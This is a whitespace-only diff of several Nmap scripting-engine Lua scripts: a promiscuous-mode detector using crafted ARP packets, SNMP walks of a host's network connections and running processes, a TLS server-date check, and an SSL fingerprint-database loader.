||||
local result
|
||||
status, result = engine:start()
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
|
||||
for _, sock in pairs(ConnectionPool) do sock:close() end
|
||||
for _, sock in pairs(ConnectionPool) do sock:close() end
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -22,121 +22,121 @@ categories = {"discovery", "intrusive"}
|
||||
|
||||
-- okay, we're interested only in hosts that are on our ethernet lan
|
||||
hostrule = function(host)
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if host.directly_connected == true and
|
||||
host.mac_addr ~= nil and
|
||||
host.mac_addr_src ~= nil and
|
||||
host.interface ~= nil then
|
||||
local iface = nmap.get_interface_info(host.interface)
|
||||
if iface and iface.link == 'ethernet' then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if host.directly_connected == true and
|
||||
host.mac_addr ~= nil and
|
||||
host.mac_addr_src ~= nil and
|
||||
host.interface ~= nil then
|
||||
local iface = nmap.get_interface_info(host.interface)
|
||||
if iface and iface.link == 'ethernet' then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function check (layer2)
|
||||
return string.sub(layer2, 0, 12)
|
||||
return string.sub(layer2, 0, 12)
|
||||
end
|
||||
|
||||
|
||||
do_test = function(dnet, pcap, host, test)
|
||||
local status, length, layer2, layer3
|
||||
local i = 0
|
||||
local status, length, layer2, layer3
|
||||
local i = 0
|
||||
|
||||
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms
|
||||
-- before each try, we wait at least 100ms
|
||||
-- in summary, this test takes at least 100ms and at most 440ms
|
||||
for i=1,3 do
|
||||
-- flush buffers :), wait quite long.
|
||||
repeat
|
||||
pcap:set_timeout(100)
|
||||
local test = host.mac_addr_src .. host.mac_addr
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
while status and test ~= check(layer2) do
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
end
|
||||
until status ~= true
|
||||
pcap:set_timeout(10 * i*i)
|
||||
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms
|
||||
-- before each try, we wait at least 100ms
|
||||
-- in summary, this test takes at least 100ms and at most 440ms
|
||||
for i=1,3 do
|
||||
-- flush buffers :), wait quite long.
|
||||
repeat
|
||||
pcap:set_timeout(100)
|
||||
local test = host.mac_addr_src .. host.mac_addr
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
while status and test ~= check(layer2) do
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
end
|
||||
until status ~= true
|
||||
pcap:set_timeout(10 * i*i)
|
||||
|
||||
dnet:ethernet_send(test)
|
||||
dnet:ethernet_send(test)
|
||||
|
||||
local test = host.mac_addr_src .. host.mac_addr
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
while status and test ~= check(layer2) do
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
end
|
||||
if status == true then
|
||||
-- the basic idea, was to inform user about time, when we got packet
|
||||
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
|
||||
-- but when we're running this tests on macs, first test is always 2.
|
||||
-- which means that the first answer is dropped.
|
||||
-- for now, just return 1 if test was successfull, it's easier
|
||||
-- return(i)
|
||||
return(1)
|
||||
end
|
||||
end
|
||||
return('_')
|
||||
local test = host.mac_addr_src .. host.mac_addr
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
while status and test ~= check(layer2) do
|
||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
end
|
||||
if status == true then
|
||||
-- the basic idea, was to inform user about time, when we got packet
|
||||
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
|
||||
-- but when we're running this tests on macs, first test is always 2.
|
||||
-- which means that the first answer is dropped.
|
||||
-- for now, just return 1 if test was successfull, it's easier
|
||||
-- return(i)
|
||||
return(1)
|
||||
end
|
||||
end
|
||||
return('_')
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local _
|
||||
local status
|
||||
local results = {
|
||||
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
|
||||
['1_______'] = false, -- Old Apple/SunOS/3Com
|
||||
['1___1_1_'] = false, -- MacOSX(Tiger)
|
||||
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
|
||||
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
|
||||
['111___1_'] = true, -- WinXP sp2 promisc
|
||||
-- ['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
|
||||
}
|
||||
dnet:ethernet_open(host.interface)
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local _
|
||||
local status
|
||||
local results = {
|
||||
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
|
||||
['1_______'] = false, -- Old Apple/SunOS/3Com
|
||||
['1___1_1_'] = false, -- MacOSX(Tiger)
|
||||
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
|
||||
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
|
||||
['111___1_'] = true, -- WinXP sp2 promisc
|
||||
--['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
|
||||
}
|
||||
dnet:ethernet_open(host.interface)
|
||||
|
||||
pcap:pcap_open(host.interface, 64, false, "arp")
|
||||
pcap:pcap_open(host.interface, 64, false, "arp")
|
||||
|
||||
local test_static = host.mac_addr_src ..
|
||||
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
|
||||
host.mac_addr_src ..
|
||||
host.bin_ip_src ..
|
||||
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
|
||||
host.bin_ip
|
||||
local t = {
|
||||
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
|
||||
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
|
||||
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
|
||||
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
|
||||
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
|
||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
|
||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
|
||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
|
||||
}
|
||||
local v
|
||||
local out = ""
|
||||
for _, v in ipairs(t) do
|
||||
out = out .. do_test(dnet, pcap, host, v .. test_static)
|
||||
end
|
||||
local test_static = host.mac_addr_src ..
|
||||
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
|
||||
host.mac_addr_src ..
|
||||
host.bin_ip_src ..
|
||||
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
|
||||
host.bin_ip
|
||||
local t = {
|
||||
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
|
||||
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
|
||||
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
|
||||
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
|
||||
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
|
||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
|
||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
|
||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
|
||||
}
|
||||
local v
|
||||
local out = ""
|
||||
for _, v in ipairs(t) do
|
||||
out = out .. do_test(dnet, pcap, host, v .. test_static)
|
||||
end
|
||||
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
if out == '1_1___1_' then
|
||||
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
|
||||
end
|
||||
if results[out] == false then
|
||||
-- probably not sniffing
|
||||
return
|
||||
end
|
||||
if results[out] == true then
|
||||
-- rather sniffer.
|
||||
return 'Likely in promiscuous mode (tests: "' .. out .. '")'
|
||||
end
|
||||
if out == '1_1___1_' then
|
||||
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
|
||||
end
|
||||
if results[out] == false then
|
||||
-- probably not sniffing
|
||||
return
|
||||
end
|
||||
if results[out] == true then
|
||||
-- rather sniffer.
|
||||
return 'Likely in promiscuous mode (tests: "' .. out .. '")'
|
||||
end
|
||||
|
||||
-- results[out] == nil
|
||||
return 'Unknown (tests: "' .. out .. '")'
|
||||
-- results[out] == nil
|
||||
return 'Unknown (tests: "' .. out .. '")'
|
||||
end
|
||||
|
||||
@@ -46,96 +46,96 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
||||
-- @param base_oid string containing the value of the base_oid of the walk
|
||||
-- @return table
|
||||
local function process_answer( tbl, base_oid )
|
||||
local result = {}
|
||||
for _, v in ipairs( tbl ) do
|
||||
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
|
||||
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
||||
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
|
||||
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
||||
local left = (lport and (lip .. ":" .. lport) or lip)
|
||||
local right= (fport and (fip .. ":" .. fport) or fip)
|
||||
if ( right or left ) then
|
||||
table.insert(result, { left = left, right = right })
|
||||
end
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
for _, v in ipairs( tbl ) do
|
||||
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
|
||||
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
||||
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
|
||||
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
||||
local left = (lport and (lip .. ":" .. lport) or lip)
|
||||
local right= (fport and (fip .. ":" .. fport) or fip)
|
||||
if ( right or left ) then
|
||||
table.insert(result, { left = left, right = right })
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function format_output(tbl, prefix)
|
||||
local result = {}
|
||||
for _, v in ipairs(tbl) do
|
||||
local value = string.format("%-20s %s", v.left, v.right )
|
||||
table.insert( result, string.format( "%-4s %s", prefix, value ) )
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
for _, v in ipairs(tbl) do
|
||||
local value = string.format("%-20s %s", v.left, v.right )
|
||||
table.insert( result, string.format( "%-4s %s", prefix, value ) )
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function table_merge( t1, t2 )
|
||||
for _, v in ipairs(t2) do
|
||||
table.insert(t1, v)
|
||||
end
|
||||
return t1
|
||||
for _, v in ipairs(t2) do
|
||||
table.insert(t1, v)
|
||||
end
|
||||
return t1
|
||||
end
|
||||
|
||||
local function add_targets(tbl)
|
||||
if ( not(target.ALLOW_NEW_TARGETS) ) then
|
||||
return
|
||||
end
|
||||
if ( not(target.ALLOW_NEW_TARGETS) ) then
|
||||
return
|
||||
end
|
||||
|
||||
-- get a list of local IPs
|
||||
local local_ips = {}
|
||||
for _, v in ipairs(tbl) do
|
||||
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
|
||||
local_ips[ip] = true
|
||||
end
|
||||
-- get a list of local IPs
|
||||
local local_ips = {}
|
||||
for _, v in ipairs(tbl) do
|
||||
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
|
||||
local_ips[ip] = true
|
||||
end
|
||||
|
||||
-- identify remote IPs
|
||||
local remote_ips = {}
|
||||
for _, v in ipairs(tbl) do
|
||||
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
|
||||
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
|
||||
target.add(ip)
|
||||
end
|
||||
end
|
||||
-- identify remote IPs
|
||||
local remote_ips = {}
|
||||
for _, v in ipairs(tbl) do
|
||||
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
|
||||
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
|
||||
target.add(ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
|
||||
local udp_oid = "1.3.6.1.2.1.7.5.1.1"
|
||||
local netstat = {}
|
||||
local status, tcp, udp
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
|
||||
local udp_oid = "1.3.6.1.2.1.7.5.1.1"
|
||||
local netstat = {}
|
||||
local status, tcp, udp
|
||||
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
|
||||
status, tcp = snmp.snmpWalk( socket, tcp_oid )
|
||||
if ( not(status) ) then return end
|
||||
status, tcp = snmp.snmpWalk( socket, tcp_oid )
|
||||
if ( not(status) ) then return end
|
||||
|
||||
status, udp = snmp.snmpWalk( socket, udp_oid )
|
||||
if ( not(status) ) then return end
|
||||
socket:close()
|
||||
status, udp = snmp.snmpWalk( socket, udp_oid )
|
||||
if ( not(status) ) then return end
|
||||
socket:close()
|
||||
|
||||
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
|
||||
return
|
||||
end
|
||||
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
|
||||
return
|
||||
end
|
||||
|
||||
tcp = process_answer(tcp, tcp_oid)
|
||||
add_targets(tcp)
|
||||
tcp = format_output(tcp, "TCP")
|
||||
tcp = process_answer(tcp, tcp_oid)
|
||||
add_targets(tcp)
|
||||
tcp = format_output(tcp, "TCP")
|
||||
|
||||
udp = process_answer(udp, udp_oid)
|
||||
add_targets(udp)
|
||||
udp = format_output(udp, "UDP")
|
||||
udp = process_answer(udp, udp_oid)
|
||||
add_targets(udp)
|
||||
udp = format_output(udp, "UDP")
|
||||
|
||||
netstat = table_merge( tcp, udp )
|
||||
netstat = table_merge( tcp, udp )
|
||||
|
||||
nmap.set_port_state(host, port, "open")
|
||||
socket:close()
|
||||
nmap.set_port_state(host, port, "open")
|
||||
socket:close()
|
||||
|
||||
return stdnse.format_output( true, netstat )
|
||||
return stdnse.format_output( true, netstat )
|
||||
end
|
||||
|
||||
|
||||
@@ -52,13 +52,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
||||
-- @return value of relevant type or nil if oid was not found
|
||||
function get_value_from_table( tbl, oid )
|
||||
|
||||
for _, v in ipairs( tbl ) do
|
||||
if v.oid == oid then
|
||||
return v.value
|
||||
end
|
||||
end
|
||||
for _, v in ipairs( tbl ) do
|
||||
if v.oid == oid then
|
||||
return v.value
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
return nil
|
||||
end
|
||||
|
||||
--- Processes the table and creates the script output
|
||||
@@ -67,72 +67,72 @@ end
|
||||
-- @return table suitable for <code>stdnse.format_output</code>
|
||||
function process_answer( tbl )
|
||||
|
||||
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
|
||||
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
|
||||
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
|
||||
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
|
||||
local new_tbl = {}
|
||||
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
|
||||
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
|
||||
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
|
||||
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
|
||||
local new_tbl = {}
|
||||
|
||||
for _, v in ipairs( tbl ) do
|
||||
for _, v in ipairs( tbl ) do
|
||||
|
||||
if ( v.oid:match("^" .. swrun_name) ) then
|
||||
local item = {}
|
||||
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
|
||||
local value = get_value_from_table( tbl, objid )
|
||||
if ( v.oid:match("^" .. swrun_name) ) then
|
||||
local item = {}
|
||||
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
|
||||
local value = get_value_from_table( tbl, objid )
|
||||
|
||||
if value and value:len() > 0 then
|
||||
table.insert( item, ("Path: %s"):format( value ) )
|
||||
end
|
||||
if value and value:len() > 0 then
|
||||
table.insert( item, ("Path: %s"):format( value ) )
|
||||
end
|
||||
|
||||
objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
|
||||
value = get_value_from_table( tbl, objid )
|
||||
objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
|
||||
value = get_value_from_table( tbl, objid )
|
||||
|
||||
if value and value:len() > 0 then
|
||||
table.insert( item, ("Params: %s"):format( value ) )
|
||||
end
|
||||
if value and value:len() > 0 then
|
||||
table.insert( item, ("Params: %s"):format( value ) )
|
||||
end
|
||||
|
||||
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
|
||||
value = get_value_from_table( tbl, objid )
|
||||
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
|
||||
value = get_value_from_table( tbl, objid )
|
||||
|
||||
if value then
|
||||
table.insert( item, ("PID: %s"):format( value ) )
|
||||
end
|
||||
if value then
|
||||
table.insert( item, ("PID: %s"):format( value ) )
|
||||
end
|
||||
|
||||
item.name = v.value
|
||||
table.insert( item, value )
|
||||
table.insert( new_tbl, item )
|
||||
end
|
||||
item.name = v.value
|
||||
table.insert( item, value )
|
||||
table.insert( new_tbl, item )
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
return new_tbl
|
||||
return new_tbl
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
|
||||
local shares = {}
|
||||
local status
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
|
||||
local shares = {}
|
||||
local status
|
||||
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
|
||||
status, shares = snmp.snmpWalk( socket, snmpoid )
|
||||
socket:close()
|
||||
status, shares = snmp.snmpWalk( socket, snmpoid )
|
||||
socket:close()
|
||||
|
||||
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
|
||||
return
|
||||
end
|
||||
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
|
||||
return
|
||||
end
|
||||
|
||||
shares = process_answer( shares )
|
||||
shares = process_answer( shares )
|
||||
|
||||
nmap.set_port_state(host, port, "open")
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
return stdnse.format_output( true, shares )
|
||||
return stdnse.format_output( true, shares )
|
||||
end
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"discovery", "safe", "default"}
|
||||
|
||||
portrule = function(host, port)
|
||||
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
|
||||
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
|
||||
end
|
||||
|
||||
|
||||
@@ -52,94 +52,94 @@ end
|
||||
--@return status true if response, false else.
|
||||
--@return response if status is true.
|
||||
local client_hello = function(host, port)
|
||||
local sock, status, response, err, cli_h
|
||||
local sock, status, response, err, cli_h
|
||||
|
||||
-- Craft Client Hello
|
||||
cli_h = tls.client_hello({
|
||||
["protocol"] = "TLSv1.0",
|
||||
["ciphers"] = {
|
||||
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
||||
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
||||
"TLS_RSA_WITH_RC4_128_MD5",
|
||||
},
|
||||
["compressors"] = {"NULL"},
|
||||
})
|
||||
-- Craft Client Hello
|
||||
cli_h = tls.client_hello({
|
||||
["protocol"] = "TLSv1.0",
|
||||
["ciphers"] = {
|
||||
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
||||
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
||||
"TLS_RSA_WITH_RC4_128_MD5",
|
||||
},
|
||||
["compressors"] = {"NULL"},
|
||||
})
|
||||
|
||||
-- Connect to the target server
|
||||
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
|
||||
-- Connect to the target server
|
||||
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
|
||||
|
||||
if not specialized_function then
|
||||
sock = nmap.new_socket()
|
||||
sock:set_timeout(5000)
|
||||
status, err = sock:connect(host, port)
|
||||
if not status then
|
||||
sock:close()
|
||||
stdnse.print_debug("Can't send: %s", err)
|
||||
return false
|
||||
end
|
||||
else
|
||||
status,sock = specialized_function(host,port)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
-- Send Client Hello to the target server
|
||||
status, err = sock:send(cli_h)
|
||||
if not specialized_function then
|
||||
sock = nmap.new_socket()
|
||||
sock:set_timeout(5000)
|
||||
status, err = sock:connect(host, port)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't send: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
sock:close()
|
||||
stdnse.print_debug("Can't send: %s", err)
|
||||
return false
|
||||
end
|
||||
|
||||
-- Read response
|
||||
status, response, err = tls.record_buffer(sock)
|
||||
else
|
||||
status,sock = specialized_function(host,port)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't receive: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
return true, response
|
||||
|
||||
-- Send Client Hello to the target server
|
||||
status, err = sock:send(cli_h)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't send: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
end
|
||||
|
||||
-- Read response
|
||||
status, response, err = tls.record_buffer(sock)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't receive: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
end
|
||||
|
||||
return true, response
|
||||
end
|
||||
|
||||
-- extract time from ServerHello response
|
||||
local extract_time = function(response)
|
||||
local i, record = tls.record_read(response, 0)
|
||||
if record == nil then
|
||||
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
local i, record = tls.record_read(response, 0)
|
||||
if record == nil then
|
||||
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
|
||||
if record.type == "handshake" then
|
||||
for _, body in ipairs(record.body) do
|
||||
if body.type == "server_hello" then
|
||||
return true, body.time
|
||||
end
|
||||
if record.type == "handshake" then
|
||||
for _, body in ipairs(record.body) do
|
||||
if body.type == "server_hello" then
|
||||
return true, body.time
|
||||
end
|
||||
end
|
||||
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local status, response
|
||||
local status, response
|
||||
|
||||
-- Send crafted client hello
|
||||
status, response = client_hello(host, port)
|
||||
local now = os.time()
|
||||
if status and response then
|
||||
-- extract time from response
|
||||
local result
|
||||
status, result = extract_time(response)
|
||||
if status then
|
||||
local output = {
|
||||
date = stdnse.format_timestamp(result, 0),
|
||||
delta = os.difftime(result, now),
|
||||
}
|
||||
return output, string.format("%s; %s from local time.", output.date,
|
||||
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
|
||||
end
|
||||
end
|
||||
-- Send crafted client hello
|
||||
status, response = client_hello(host, port)
|
||||
local now = os.time()
|
||||
if status and response then
|
||||
-- extract time from response
|
||||
local result
|
||||
status, result = extract_time(response)
|
||||
if status then
|
||||
local output = {
|
||||
date = stdnse.format_timestamp(result, 0),
|
||||
delta = os.difftime(result, now),
|
||||
}
|
||||
return output, string.format("%s; %s from local time.", output.date,
|
||||
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -47,90 +47,90 @@ categories = {"safe", "discovery", "vuln", "default"}
|
||||
local FINGERPRINT_FILE = "ssl-fingerprints"
|
||||
|
||||
local get_fingerprints = function(path)
|
||||
-- Check registry for cached fingerprints.
|
||||
if nmap.registry.ssl_fingerprints then
|
||||
stdnse.print_debug(2, "Using cached SSL fingerprints.")
|
||||
return true, nmap.registry.ssl_fingerprints
|
||||
end
|
||||
-- Check registry for cached fingerprints.
|
||||
if nmap.registry.ssl_fingerprints then
|
||||
stdnse.print_debug(2, "Using cached SSL fingerprints.")
|
||||
return true, nmap.registry.ssl_fingerprints
|
||||
end
|
||||
|
||||
-- Attempt to resolve path if it is relative.
|
||||
local full_path = nmap.fetchfile("nselib/data/" .. path)
|
||||
if not full_path then
|
||||
full_path = path
|
||||
end
|
||||
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
|
||||
-- Attempt to resolve path if it is relative.
|
||||
local full_path = nmap.fetchfile("nselib/data/" .. path)
|
||||
if not full_path then
|
||||
full_path = path
|
||||
end
|
||||
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
|
||||
|
||||
-- Open database.
|
||||
local file = io.open(full_path, "r")
|
||||
if not file then
|
||||
return false, "Failed to open file " .. full_path
|
||||
end
|
||||
-- Open database.
|
||||
local file = io.open(full_path, "r")
|
||||
if not file then
|
||||
return false, "Failed to open file " .. full_path
|
||||
end
|
||||
|
||||
-- Parse database.
|
||||
local section = nil
|
||||
local fingerprints = {}
|
||||
for line in file:lines() do
|
||||
line = line:gsub("#.*", "")
|
||||
line = line:gsub("^%s*", "")
|
||||
line = line:gsub("%s*$", "")
|
||||
if line ~= "" then
|
||||
if line:sub(1,1) == "[" then
|
||||
-- Start a new section.
|
||||
line = line:sub(2, #line - 1)
|
||||
stdnse.print_debug(4, "Starting new section %s.", line)
|
||||
section = line
|
||||
elseif section ~= nil then
|
||||
-- Add fingerprint to section.
|
||||
local fingerprint = bin.pack("H", line)
|
||||
if #fingerprint == 20 then
|
||||
fingerprints[fingerprint] = section
|
||||
stdnse.print_debug(4, "Added key %s to database.", line)
|
||||
else
|
||||
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
|
||||
end
|
||||
else
|
||||
-- Key found outside of section.
|
||||
stdnse.print_debug(1, "Key %s is not in a section.", line)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- Parse database.
|
||||
local section = nil
|
||||
local fingerprints = {}
|
||||
for line in file:lines() do
|
||||
line = line:gsub("#.*", "")
|
||||
line = line:gsub("^%s*", "")
|
||||
line = line:gsub("%s*$", "")
|
||||
if line ~= "" then
|
||||
if line:sub(1,1) == "[" then
|
||||
-- Start a new section.
|
||||
line = line:sub(2, #line - 1)
|
||||
stdnse.print_debug(4, "Starting new section %s.", line)
|
||||
section = line
|
||||
elseif section ~= nil then
|
||||
-- Add fingerprint to section.
|
||||
local fingerprint = bin.pack("H", line)
|
||||
if #fingerprint == 20 then
|
||||
fingerprints[fingerprint] = section
|
||||
stdnse.print_debug(4, "Added key %s to database.", line)
|
||||
else
|
||||
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
|
||||
end
|
||||
else
|
||||
-- Key found outside of section.
|
||||
stdnse.print_debug(1, "Key %s is not in a section.", line)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Close database.
|
||||
file:close()
|
||||
-- Close database.
|
||||
file:close()
|
||||
|
||||
-- Cache fingerprints in registry for future runs.
|
||||
nmap.registry.ssl_fingerprints = fingerprints
|
||||
-- Cache fingerprints in registry for future runs.
|
||||
nmap.registry.ssl_fingerprints = fingerprints
|
||||
|
||||
return true, fingerprints
|
||||
return true, fingerprints
|
||||
end
|
||||
|
||||
portrule = shortport.ssl
|
